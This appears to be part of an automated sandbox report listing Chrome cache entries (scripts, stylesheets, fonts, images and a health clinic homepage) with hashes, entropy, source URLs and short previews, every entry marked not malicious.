File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1362
Entropy (8bit):	4.633943279651961
Encrypted:	false
SSDEEP:	24:NkRAtEjvKrUDQJdwsREHIFpvSsY99q9/Fo9PH9C5XXH3lXbAioAlBX:NYLSADQiIvHYLq49/431bAiocR
MD5:	601CA95842449A5E29E62F80E063A52E
SHA1:	BD72D62AF99FD0D8C2ACA15313BF401C59B6F98B
SHA-256:	8DDD783C52F0168DEF451390424D2CF5797DB8F86693822B94572E409A9FD807
SHA-512:	59870E1C0D2E32DE4486CEDC6B2AAAAAD18613D2B094B5EF2E767116F081088D08CEECD117559AD26C124F98FFF5C893A9FC3277F6AB05DA669C1BAEEEC5DF36
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newui/js/reloadCaptcha.js
Preview:	$(document).ready(function(){.. reloadCaptcha();..});..function isIExplore() {.. try {.. // Internet Explorer 6-11.. var isIE = /@cc_on!@/ false \|\| !! document.documentMode;.. // Edge 20+.. var isEdge = !isIE && !! window.StyleMedia;.. if (isIE \|\| isEdge) {.. return true;.. } else {.. return false;.. }.. } catch (err) {.. return false;.. }....}.. ..function reloadCaptcha(){.. var d = new Date();.. $.ajax({.. url:"captcha.jsp",.. type :"POST",.. .async:true,.. . data: { .. . 'action': 'generateCaptcha' ,.. . },.. success:function(response){.. . $("#captcha_image").attr("src", "../../simpleCaptcha.png?"+d.getTime());.. . if(!isIExplore()){.. .. .. $("#captcha_audio").attr("src", "../../audio.wav?"+d.getTime());.. .. $("#captcha_audio").removeClass('hide');.. . }.. },.. });... }....function val

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (681)
Category:	downloaded
Size (bytes):	5732
Entropy (8bit):	5.599161816192435
Encrypted:	false
SSDEEP:	96:2F/LbsaIRhghfYV24xQ5DusFiRw9ZRVAAelg:k/LbsaIRhghsr8FiRgPYg
MD5:	00E7963B92387D2483EBE810F453D32E
SHA1:	BDCDE0805E6A1DBC1513E1365486AD7EAD26DE38
SHA-256:	306A340D77C015BEBD34348E2DF7636595F40E1FC50273D1A4CBA9321D5E82CE
SHA-512:	FCD30B9858A60ABB420D3A3C82C3F60252B83FEB1D768EE15B05B7BF6ABA489D48BC38B09FB0F8DA67BB6583F60321EC203DB40E73F2B4F5C20761BC9AE23ECE
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20
Preview:	#glt-toolbar { ..display:none; .}..#glt-translate-trigger {. position:fixed;. bottom:0px;. top:auto;. right: 20px;. z-index:200002;. padding:6px 20px 3px;. font-size:16px;. font-family:Arial;. font-weight:700;. color:#fff;. text-shadow:0px -1px 0px rgba(0,0,0,0.25);. text-decoration:none;. text-align:center;. box-shadow:0px 0px 9px rgba(0,0,0,0.3);. -webkit-box-shadow:0px 0px 9px rgba(0,0,0,0.3);. -moz-box-shadow:0px 0px 9px rgba(0,0,0,0.3);. box-sizing:content-box !important;. -webkit-box-sizing:content-box !important;. -moz-box-sizing:content-box !important;. background:linear-gradient(center top, #fbb450, #f89406);. background: -webkit-gradient(linear, center top, center bottom, from(#fbb450), to(#f89406));. background: -webkit-linear-gradient(#fbb450, #f89406);. background: -moz-linear-gradient(#fbb450, #f89406);. background: -o-linear-gradient(#fbb450, #f89406);. background: -ms-linear-gradient(#fbb450, #f8

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10085)
Category:	downloaded
Size (bytes):	10183
Entropy (8bit):	5.223158495507217
Encrypted:	false
SSDEEP:	96:Ar3UrDAWhqjlEFcbXafMlCOmceIdwD5ez6VFV7MDuxr3KFBF/tLwPfEHPDMpmq3i:ArkrDNhqOfSXeIdwDqav96DBtLwPfkR1
MD5:	02D1BEB66ABBA0C4BD314068590D22C9
SHA1:	99C364862A50EA075A884B3C84BB326F84236AC0
SHA-256:	B7EF1CB811F8DB4E4C611032CF3B24D2C1256BF9794123B41AE4DEA331EB54D6
SHA-512:	AFA03326709E3647A7DB303A7E566CC03606150910E425DB5FF4D0E09BE81C147FA923AEA4EBC270102191BA5592F1EB546072B7A3104A3A46A7E3F3BEC8E24F
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-migrate-3.2.0.min.js?ver=3.0.0
Preview:	/! jQuery Migrate v3.2.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+n[i]>+o[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.2.0",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0,s.migrateWar

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (9462)
Category:	downloaded
Size (bytes):	147166
Entropy (8bit):	5.1195205231104115
Encrypted:	false
SSDEEP:	3072:5tggg+4UG36nZigfEmEw3NKyE0AVtdrqdC:5H3NU
MD5:	17296AF9BE6185B8E5A15342222456DC
SHA1:	F0404EBEB95C68346C7E146B06BAE6D376614562
SHA-256:	CBA3FAFB2A3CD5EF85CADD69E2A67EA6A0400EDF27695D3F988C31A83405E823
SHA-512:	B65B3592DE41D97604265BE15E3EC2E4683161A0E71C8F92374BC70B196EA8A87FEC3272635C9AFCF5E29329A422CD34ED141D5F1828D68817DA8756640A4E8B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/
Preview:	.<!doctype html>.<html lang="en-US" style="scroll-behavior: smooth;">..<head>. Google Tag Manager -->. <script>. (function(w, d, s, l, i) {. w[l] = w[l] \|\| [];. w[l].push({. 'gtm.start': new Date().getTime(),. event: 'gtm.js'. });. var f = d.getElementsByTagName(s)[0],. j = d.createElement(s),. dl = l != 'dataLayer' ? '&l=' + l : '';. j.async = true;. j.src =. 'https://www.googletagmanager.com/gtm.js?id=' + i + dl;. f.parentNode.insertBefore(j, f);. })(window, document, 'script', 'dataLayer', 'GTM-M6GP474');. </script>. End Google Tag Manager -->.. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.. <link rel="apple-touch-icon" sizes="57x57" href="https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-57x57.

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	290
Entropy (8bit):	4.975933815216742
Encrypted:	false
SSDEEP:	6:iK8mnNZsPL1xVOK8m/GcMRHpUVNvOK8m/GybRS:p8Phx3z7MRJKzTRS
MD5:	6C2BF3E98AF3E69462DBB5FAAB3E1948
SHA1:	D46F8C02E37C20B1D7C905670FD97DEE715AA062
SHA-256:	4221A98CFE4B4FA2A99AAF961CF2360FFD0938405C6503523A77C0117DE1BEB8
SHA-512:	54A3E4F2F37BB69CB938033AADF17B1261114C86060EC4239559845A4EFCD7B7AE3DDA3B40546F51885179CFB260424533CF23640059552CF04E17CE0A97C514
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_column_content.css?ver=230904-91936
Preview:	.acf-block-column-content .content__icon{width:4.375rem;height:4.375rem}@media (min-width:768px){.acf-block-column-content .c-col-1-5{-webkit-box-flex:0;flex:0 0 50%;max-width:50%}}@media (min-width:992px){.acf-block-column-content .c-col-1-5{-webkit-box-flex:0;flex:0 0 20%;max-width:20%}}

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6344), with CRLF line terminators
Category:	downloaded
Size (bytes):	16292
Entropy (8bit):	5.262260403659704
Encrypted:	false
SSDEEP:	384:xFNv2fy+p30MYXjCrSuTbcJJArBjHV6OVATQdZsoT:52q+p3kFu7jHNATQdZsQ
MD5:	FA3D4B469D665E767864879EE2F0B173
SHA1:	B7EEBDC8876A4095CE1BB9A58A6323322481F97F
SHA-256:	5CD52B40FA3AABB7972BF1137A16CBEFEF3186BD6566615CB582254663A6E3CC
SHA-512:	4B516B0BFC9EAA381454826640C70EE65566DA88B3DE889298AE2F03E4664DCCBAA5FCE8BDE3F1BAD88D3562F43B57A92B199C418CDA841ECE605C62190B0DA4
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6
Preview:	!function(a){"object"==typeof module&&"object"==typeof module.exports?a(require("jquery")):"function"==typeof define&&define.amd?define([],a(window.jQuery)):a(window.jQuery)}(function(a){return a?(a.Unslider=function(b,c){var d=this;return d._="wprs_unslider",d.defaults={autoplay:!1,delay:3e3,speed:750,easing:"swing",keys:{prev:37,next:39},nav:!0,arrows:{prev:'<a class="'+d._+'-arrow prev">Prev</a>',next:'<a class="'+d._+'-arrow next">Next</a>'},animation:"horizontal",selectors:{container:"ul:first",slides:"li"},animateHeight:!1,activeClass:d._+"-active",swipe:!0,swipeThreshold:.2},d.$context=b,d.options={},d.$parent=null,d.$container=null,d.$slides=null,d.$nav=null,d.$arrows=[],d.total=0,d.current=0,d.prefix=d._+"-",d.eventSuffix="."+d.prefix+~~(2e3*Math.random()),d.interval=null,d.init=function(b){return d.options=a.extend({},d.defaults,b),d.$container=d.$context.find(d.options.selectors.container).addClass(d.prefix+"wrap"),d.$slides=d.$container.children(d.options.selectors.slides),

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	28215
Entropy (8bit):	7.970857764034912
Encrypted:	false
SSDEEP:	768:ankEBQfDApeIhq1EQOmbK6hmeTwaGwqbMW0C0p:ankkpunrWgp
MD5:	35A3F3DFAD3EC97206D70F9484132495
SHA1:	756A38132DEE00797A01D153227F124F0EB31490
SHA-256:	3C34C85379F1ABD7EDA8B1ACED60C418A12D5276CB713793B0E5A485898D7463
SHA-512:	26441AF2EF69E2160161BB74D6B5990B0A00BD2F005806B7BF85C55AECE3EC4A219F41E4ECE50A46E7076D5E35866A81B2903DAF732FC36A7D44DB2C21BE035B
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA7LjcbJjjYNoXnHdP3oeBQRJ_9LAsk_nugOdAHY58B82Yb1hs851KZhqBW95Wtoe5xeO-_rvSxt2TJRjIkhg2Qsr9esXafinJUyXkfTttXhh06AGxtrzRR5KfGfn8ig9E6OUr0EPEz1Lp4TPCo2DV3QJUCKViPs1oFgsKDQL-LgsTgSVyYZTlYl9WNg5ym2Df8b5DMm&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....}....d/.p...u5.}.%.CehVy.UF..Z..m/u.fX..APZg?+c......jZu.D...>.n. ..x.....7=;N....-.\;.......O?.=n.\|.#.F].?x.;......y&...F.x..].YR..rz.+....v..`...%.;.d~..j.i.=.oU..g[..g(.IdO.....s...\5.[HFSc!.....]'....YEu.7..........SYD..$6.N.......$.....=.-nY..+#6........<3i...a..A.[.....>.....X... KuW.'.......h!......n.(&..o...N4.......g....-BI!....W..9*6.q.

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 150x150, segment length 16, progressive, precision 8, 900x750, components 3
Category:	dropped
Size (bytes):	157306
Entropy (8bit):	7.930563947364863
Encrypted:	false
SSDEEP:	3072:3Y3nwQWwy0oII5I+sP6Kn/8dMHXAyL6zzV+ebF7U0mHcIkOJ6:FwPUG/4NzVhF/BOJ6
MD5:	86E47E7C226EC93530F6A8B703C7FB81
SHA1:	3571C93770F6301B6B3991832856D159394CA869
SHA-256:	E41BB22785BAD6D18EE977EA2313CBFF95E1672C37046DB2DEABCE86EC6248CE
SHA-512:	43C0A6C86575C05801D5D17B2322158468BB9513FBEE07415D1DDB33C35AFBF0D3E9149218F88247EE8DFBAFBBBBA13A50FD427BD2AF7FEBA4FEFA2AE2EDF442
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C..................................................................................................................................................................................................................................................................................................b;....4......................................Y...`.....1..b.........@....................................<u..\|.Wv.r........)t2..[wz.....................................Lq5..\|.Wv......u.<......]..W........................................,..L.U=Z.t...,..y...\.{.Ox.................b.....v..-..[y.K.:....3].+...]Y.=;2.}..................}..C..}s.P...3f.y.hm..6..T....................].8..@.......f....M....2.............._.....\..T......}......7.............(.c.......v....;.J....N.....F^:.3.d.[......4..G>.a..................ho^..^w....fl..>......................,u..WU:.h.@...eJ.omY..0..=...\|..s

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.280394654123195
Encrypted:	false
SSDEEP:	3:Iu6CxICkY:TPkY
MD5:	294DA74724D32B2F8F0B2D73540A23CA
SHA1:	4F504BDF6DEA6EC9C2B0B7F4A1DBC655263A9878
SHA-256:	BF35EA88B3B508A531B530F09F894950DD9BD2FEBE38865EC86108EE4E327C9E
SHA-512:	F373CD9A08999FF67E0F5E9166D097D4156ED3B63D7EB8F57386AE941ECACBAFCF429ABEE3A768BCEC0286FF74477E30954A8D081AC23AECE8E6C6246818167D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmslZVP2F-R1xIFDe5qUokSBQ1TWkfF?alt=proto
Preview:	ChIKBw3ualKJGgAKBw1TWkfFGgA=

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4358)
Category:	downloaded
Size (bytes):	5520
Entropy (8bit):	5.07877659735423
Encrypted:	false
SSDEEP:	96:PwSrH5hrG6Qpw1rIN2Bkqsu6B89w1y+7Y3qv5StcXyuC0r4oYeTnf49uVhWWTfju:PwSrq6Qpw1rI2k1u6i9woa3hSSCP9+XC
MD5:	6823120876C9AFC8929418C9A6F8E343
SHA1:	90B0ADB37D70FFEC5F9189C36BB0027C310C9502
SHA-256:	B65B3DE1BC923B9355248A0D941A0EAEE15DFB9A6B8EADB51323A8DF6189DCD1
SHA-512:	63D84226815C831245754ADB30040EE72DCF218D01F991A5619675374BBE3B706E3721D32F5120D9D27E500813E8214244992B3875B3A7E7E4BC7DED5201183A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-includes/js/imagesloaded.min.js?ver=5.0.0
Preview:	/! This file is auto-generated /./!. imagesLoaded PACKAGED v5.0.0. * JavaScript is all like "You images are done yet or what?". * MIT License. */.!function(t,e){"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,(function(){function t(){}let e=t.prototype;return e.on=function(t,e){if(!t\|\|!e)return this;let i=this._events=this._events\|\|{},s=i[t]=i[t]\|\|[];return s.includes(e)\|\|s.push(e),this},e.once=function(t,e){if(!t\|\|!e)return this;this.on(t,e);let i=this._onceEvents=this._onceEvents\|\|{};return(i[t]=i[t]\|\|{})[e]=!0,this},e.off=function(t,e){let i=this._events&&this._events[t];if(!i\|\|!i.length)return this;let s=i.indexOf(e);return-1!=s&&i.splice(s,1),this},e.emitEvent=function(t,e){let i=this._events&&this._events[t];if(!i\|\|!i.length)return this;i=i.slice(0),e=e\|\|[];let s=this._onceEvents&&this._onceEvents[t];for(let n of i){s&&s[n]&&(this.off(t,n),delete s[n]),n.apply(this,e)}return this},e.allOff=function(){return d

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	124
Entropy (8bit):	5.094723581811609
Encrypted:	false
SSDEEP:	3:0QcGIFnZNTspsm8kCUcMImq0hV5OLepEbzyBthXjavmCGP23/:0JGIhs6UcMbtzsLepQQRWvmF0
MD5:	B825DC9A5361DF1B5F64A234860464B0
SHA1:	B0B4F30268EBE4CE4F9EAB8A345EA4D6D542102D
SHA-256:	7BC0D4C2780E50AFDFEEBC290778867A1EC834DFF1E5048C1593AF182DBBE8D9
SHA-512:	0F5AF720969A09A426861AAAE21D426EA9210E23A6719436E55BAFE16E45D87626A628B949F063BF3E658CCC898F4C5B705F615EC8B2F2A42814613652798289
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwktS_v64GiilxIFDRPJyacSBQ0tAN0vEh4JidwvYwp2rZsSBQ0Q_0TlEgUNunPaPhIFDb2h5D8SEAm7NtNgCRk_aBIFDf8DFLkSEAk0g3MFnBmZexIFDaOZYTk=?alt=proto
Preview:	CiAKEQ0TycmnGgQICRgBGgQIVhgCCgsNLQDdLxoECEsYAgojCgsNEP9E5RoECAMYAQoLDbpz2j4aBAgFGAEKBw29oeQ/GgAKCQoHDf8DFLkaAAoJCgcNo5lhORoA

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7836, version 1.0
Category:	downloaded
Size (bytes):	7836
Entropy (8bit):	7.972375597513589
Encrypted:	false
SSDEEP:	192:5GhEvDrVH3XxTSPky0E4TNhVQz3TljsIkh8:sEvd3Xx+PkBEWjIsIa8
MD5:	AA4405ED937295296CF8510F437628E0
SHA1:	3B83F2E166868A65D6000C86A34DFBEB4CB1482B
SHA-256:	07D2B7C2DF967B7820B8CE99BE3F7DB1A1DB5A82797826CD9A06E6489E89F71A
SHA-512:	60A7F071EF811AF1ECCB98AD4A258406E1645999BCDD9A89A63D14E42064172F2B502B1E4B2B3518E3A08E7957B7E89DD981D2306240069EB82DA7F4990194D3
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/fonts/poppins-semibold-normal-latin.woff2
Preview:	wOF2..............=....H......................... .0.`..T......+..6..6.$..h. ........0.".8.....W.......Y...;.......9.Y.N.;.#;? ...&P(..+...2##$....?...}!:..... .I.I..)...wxp.?.CBc....e$Zd..D..]........1.Ut._d.~.....7...f...h..d......$.f-.4..(p.._./...k....>i3.Z0.QX/.IE(%.....g.a.\|......'+.c.8...........+.~O/J$.$r.....+.p.e./.......H.S.N......E{xi9..0....[.+....).~l.op.2.(....F.B.G>b.PW..nc.e`.O.R...Hh...U6<...2'1N..../ NH90.Hi.\|b.Z`...sx9..=......:.UmX..p..F.8.o...E.4.........T..4..[..8......m.$...... T.....'> >.3..!.L.....A.....V.....o...../.~y\|......].}}..e...%.?...<K...d..\|.}.....ZzpE5.F.)~V....ku..M=A.....r\|...8.g..Jt..2(..\|.,....v?.+."M..)hn.....Z[.xm.@."......*....9l2..{..I.........~n...w...?I.U.Ai.sJ..Z.:..]z>RM ...A..}..k.......S2....>....s..7.2.tX.$(S...:.F.C...,]K.mis.T5....."..Y9R.c`.-..J.rf.8r.T.J...dU..^n..o5..."Lg....bD=m..r..~p..M.W.y..c.BJ...\...u..\|..^\|a.@.C...\..>d.EZ...^....s?.K....EEn..h_,:.-y.f...a.@J.....I>o=...Z.

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 923x814, components 3
Category:	dropped
Size (bytes):	78254
Entropy (8bit):	7.9746503979155445
Encrypted:	false
SSDEEP:	1536:DBT2wLVGc1t6mDm3wX5DXjfbZzOTXA4g0hx9NXhQcV/eLzn:Do+VGczSgpTbyg0dVhtV2Lzn
MD5:	DC9FAC62F1A9EC1188AD5B1B474C98AC
SHA1:	4DD1AC7204DD50E8493E7B36C22B006FB12EA2CE
SHA-256:	64EF75BEB8444C878E00C4960B98235E5808819C2F5206764008B8A30719A0CD
SHA-512:	D17D71FDCCD77BDC226121A2F9E7296C83B3ADA300BC9CE1FA0A234D5269B2033581E4729FBAF54FEFAA0CB1FDF5B664AF51CCB110B9C4D01CBF91FC54AFA730
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$....................................................D........................!1..A.Q."aq.2..#B...Rb...$3..r.C...45S....................................0......................!.1.AQ..".2a.Bq.#R.3................?...].qA8A.Q..R..T....2.Z5.."QB4a.. .7..0.5H..d........".b.a.... .i...P..QD.."..!.A.D..A.D..D....J..}2.p.[.. .".. ."..""* ."!].JD.[@.........R..U...i.....@lZ....v..8.. ."...l.R,.TA..@.(..@....A.D...P...EDZ..w...Y.9tb.r.......m..l....EG.Y...y...x9.{c<.....{%.AFQ..h..y^.A..TE0.4..@P.. ".D@.R.....h.:.4`).@\|......E..".)Z.....+..T..Y.VkPxP.H.."Z..D"#H. ."......."..X.Z..6Yi.@. .".. .".. .".._.JD..;.. .=l..H..k-. ..........6....D..w.I.Z../.K.5.vl.W..y'.+.*.K.Dy.<.E.....W&...d..@.......?3/.....R......}1...u\|v...y.7...Y.yO.o.P...........e....PD..ED]"...PA.D....@E.(... ("..#>..DDTC@Q\...9...V.c+..r\[O..j^....

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 169 x 520, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	54996
Entropy (8bit):	7.990319247106949
Encrypted:	true
SSDEEP:	1536:SyhcyNEJ3e/YfJ2ZKL1kWaokKGoUUPrBSHOvoE5:t2y+HxlpsE5
MD5:	89C95031B56B90591FD4EF80558F8C25
SHA1:	9599F52C93B38F3E68686F299B3184BE0A9DE63A
SHA-256:	D64C12A76A61096F3A14AA795D12C3FC0DE8E5781EF2E1AF3B66517E65D7F00E
SHA-512:	7E03B61206FBCCD249CF45BFD67546BC0AD025DB9542FEE774414E222E93926B3842A0821E2579AE14395163D7749CAFD90CD8AEE27B14F75FE3F49083FB010F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/images/flags.png
Preview:	.PNG........IHDR................M....bKGD..............pHYs.................tIME......!ZB3... .IDATx..y..U...>Uu.^.I..%...K....B@...........qt...3_...F...wE.c........$$@.Ig.w..........{.vP.....u..P..:.<...y>..T.:.Nu.S..T....B8G\|.?.8\~.B.w........>.M...m.....p..+b.#Gr..o.?....XP..B...x.w..c.<...\|.l......u..?......G..v......q..rh.P`2......_..AX`..g-d4h..T..?\|....i.....xK.K...3.z7.......i.......f\|K...9@.......R..z..Of.........A..Bk.R(.E..:.`....H..Q.5)...\..w....D..8X..............4Zk..hm0R.\..w......ME.(.3.KN.$c..N...`..K.,,.a..F....4._K\..]RV.e..mE.>0w...\.;.D$..X.,..S.T.}..c\...#S).-.2N...N....C..Y".. ..h.b.&..k.+.y)I..g_..........yPp..IJX.&...Fi.5........h...hrF.....f...8....H:.....>..7..n....cN..s..>`2....yC.g@..R5M`p........[.z.}.%.N..M.......i...\|...d.!k4qa........o...k....z.`0i.02.).r.........?....V....m.yf..........5..J.[[..W.g..Y.....Ik.l@...:...W...\|..sN........4...gv.Wva.'.. .........-.Y..^.G.@...3p........m.k...U.

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 123 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.910614424936234
Encrypted:	false
SSDEEP:	48:dXKRPQmRDBEFaHwkAcrF0FV98wD2cfLFZuHwG3UhpXiJrc3tR3eeD:dXlmRD6zcrFaV98wycDFiEhAhcT
MD5:	FD4EE23CCEB1624F07321393F92B2692
SHA1:	DB745CA998C7433C86A8ACCA3E15E76B5CE493F0
SHA-256:	24B1F788B3BF4C808164CB128352E7BD8E544863F52169828A56B552C1015118
SHA-512:	00076A689FD38E6ECA75967F0F2E9B1549E6F5A28A6F90F1A9B29E1586F47CAE85F11C7730184D76FF5E2D48A223DEF238F09FFA3BAF084B852534C27284D3B3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...{..........o#.....sRGB.........gAMA......a.....pHYs..........+......IDAThC.Z.tT....M6B...KH.B.rP...Q..Z.j.G..BZ...@..G...R.KqA8Z1..U.j.!D..........2..d&...}w&.=.KT.s&....w....UF.........F....Ftw...\....c.7"....5\|.X..O....RX.q..s..Z..i.h..h...#...d..A....{......803........v.PM.:.....G.=......... .Q+g....N..]...X..;%.8P.sM.r.7.......3....L.....H.h..xM.V/GF'..R...B.\l...]..../j.F.oom.h.'<.;..{;+....$..!.E..n.....i.#'...7.../W......k..Y.....t...>c."...6=F.....%.....-r...R..k(..6\|.....F..s.._..5...j....<.^A..(0..w....[O...w.q..X..!G{...Vl......w....x....a......:z.s.D.U..KuB.".;....&F....s.q.Woa..e=...b....GN....5rWA..T.....GL..q.bn8f..C.fWc...7O..co.$a<Ek.I...4I...8.J.B.).gg#........).X.._h..I.....bv....H............Z-"##.x..r.cX..3....\|aC..l..X.Z...I.Y{..s..h.s3<..d.KD......o.[l..%......xF.....HX.T.X..{?F3v^.-,TI....l.........m/c..W...R.a.?..W...hN.1.d....q......P._..{.....N&t..}.. 7a..I..$.<....!..0r!.a.X{........c.hl0

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2270
Entropy (8bit):	7.6578853455434714
Encrypted:	false
SSDEEP:	48:tE/6xbywCIQBTAynWk/xaV+yK2Iehm0SdeI405wlvNq5EthGF7D4FNAnklfVi:6SNL5QBEyn5oIe0PdeIFQvRhGF7kl4
MD5:	4F2FE78AD7F84818A5175447531CF54D
SHA1:	C8C98CD7DB51284B8A688F90A0A898883395AD5C
SHA-256:	47421EC42F35B25C751B4D22F78BCBFB96FA34093A8E41A49CA798944B805AC8
